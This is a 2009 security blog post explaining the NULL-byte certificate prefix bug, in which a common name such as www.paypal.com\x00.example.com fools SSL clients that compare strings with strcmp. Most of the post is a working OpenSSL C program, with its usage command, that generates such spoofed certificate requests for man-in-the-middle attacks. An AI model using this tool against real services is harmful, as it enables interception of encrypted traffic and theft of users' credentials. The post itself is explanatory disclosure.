Home > Programming, Security > The NULL certificate prefix bug

The NULL certificate prefix bug

October 3rd, 2009 Fotis Leave a comment Print Print Go to comments

Before some months, at the Black Hat 2009, Moxie Marlinspikes and Dan Kaminsky presented a vulnerability that exists at some implementations of SSL.

It’s concept is pretty simple, you request a certificate having as a CN (common name) www.paypal.com\x00.example.com. This can be easy, especially for some public key infrastructures operated by companies for their internal needs, where server certificates are issued automatically as long as the CN is a host under a specific domain. However, since many SSL implementations use strcmp for validating the remote host, they will only check if the host is equal to the part before \x00! So a malicious user can simply issue such a certificate and using spoofing he can start a man in the middle attack. Furthermore, it is possible to issue a certificate with a CN such as *.paypal.com\x00.example.com which will match all hosts under the paypal.com domain. Or even the CN *\x00.example.com which will match… everything! Jacob Appelbaum has created such a certificate and posted it to the Noisebridge-discuss mailing list.

Firefox 3.5.2 and 3.0.13 have fixed this vulnerability, however I checked with the Internet Explorer browser today and it still has this bug. The test was done at a friend’s pc so I don’t know exactly the patches he has applied or when he last run windows update. It is very interesting that it probably uses the strcpy function for copying the value of CN to the buffer where it keeps the certificate information so when you try to see them, you only see www.paypal.com!

You can use the following program to create your own certificate requests. You run it as follows:

1
$ ./gennullreq www.paypal.com exploit.example.com "Exploit department" "Example Organization" GR

At the output you will get the private key and the certificate request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
/*
 * Generate certificate requests containing the NULL byte.
 * Default values are used, like 512 bits.
 * By Fotis Loukos <fotisl@gmail.com>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/bio.h>
#include <openssl/x509v3.h>
#include <openssl/rsa.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
#include <openssl/err.h>
 
BIO *bio_err;
 
void initssl()
{
    CRYPTO_mem_ctrl(CRYPTO_MEM_CHECK_ON);
    bio_err = BIO_new_fp(stderr, BIO_NOCLOSE);
}
 
void finssl()
{
    CRYPTO_cleanup_all_ex_data();
    CRYPTO_mem_leaks(bio_err);
    BIO_free(bio_err);
}
 
int main(int argc, char **argv)
{
    RSA *rsa;
    EVP_PKEY *privkey;
    X509_REQ *req;
    X509_NAME *name;
    char cn[256];
 
    if(argc != 6) {
        fprintf(stderr, "usage: %s <fake> <append> <ou> <o> <c>\n", argv[0]);
        exit(1);
    }
 
    strncpy(cn, argv[1], 256);
    /* The next byte is already \x00 */
    strncpy(cn + strlen(argv[1]) + 1, argv[2], 256 - strlen(argv[1]) - 1);
 
    initssl();
 
    if((privkey = EVP_PKEY_new()) == NULL) {
        fprintf(stderr, "Cannot allocate memory for private key.\n");
        finssl();
        exit(1);
    }
 
    if((req = X509_REQ_new()) == NULL) {
        fprintf(stderr, "Cannot allocate memory for certificate request.\n");
        finssl();
        exit(1);
    }
 
    fprintf(stderr, "Generating RSA keypair...\n");
    if((rsa = RSA_generate_key(512, RSA_F4, NULL, NULL)) == NULL) {
        fprintf(stderr, "Cannot generate keypair:\n");
        fprintf(stderr, "%s\n", ERR_error_string(ERR_get_error(), NULL));
        finssl();
        exit(1);
    }
 
    if(!EVP_PKEY_assign_RSA(privkey, rsa)) {
        fprintf(stderr, "Cannot assign keypair to private key.\n");
        finssl();
        exit(1);
    }
 
    X509_REQ_set_pubkey(req, privkey);
 
    name = X509_REQ_get_subject_name(req);
    X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, argv[5], -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, argv[4], -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "OU", MBSTRING_ASC, argv[3], -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, cn,
            strlen(argv[1]) + 1 + strlen(argv[2]), -1, 0);
 
    if(!X509_REQ_sign(req, privkey, EVP_sha1())) {
        fprintf(stderr, "Cannot sign request.\n");
        finssl();
        exit(1);
    }
 
    fprintf(stderr, "Private key:\n");
    PEM_write_RSAPrivateKey(stdout, rsa, NULL, NULL, 0, NULL, NULL);
    fprintf(stderr, "Request:\n");
    PEM_write_X509_REQ(stdout, req);
 
    X509_REQ_free(req);
    EVP_PKEY_free(privkey);
 
    finssl();
 
    return 0;
}
Categories: Programming, Security Tags:
  1. No comments yet.
  1. No trackbacks yet.
This site is using OpenAvatar based on
SEO Powered by Platinum SEO from Techblissonline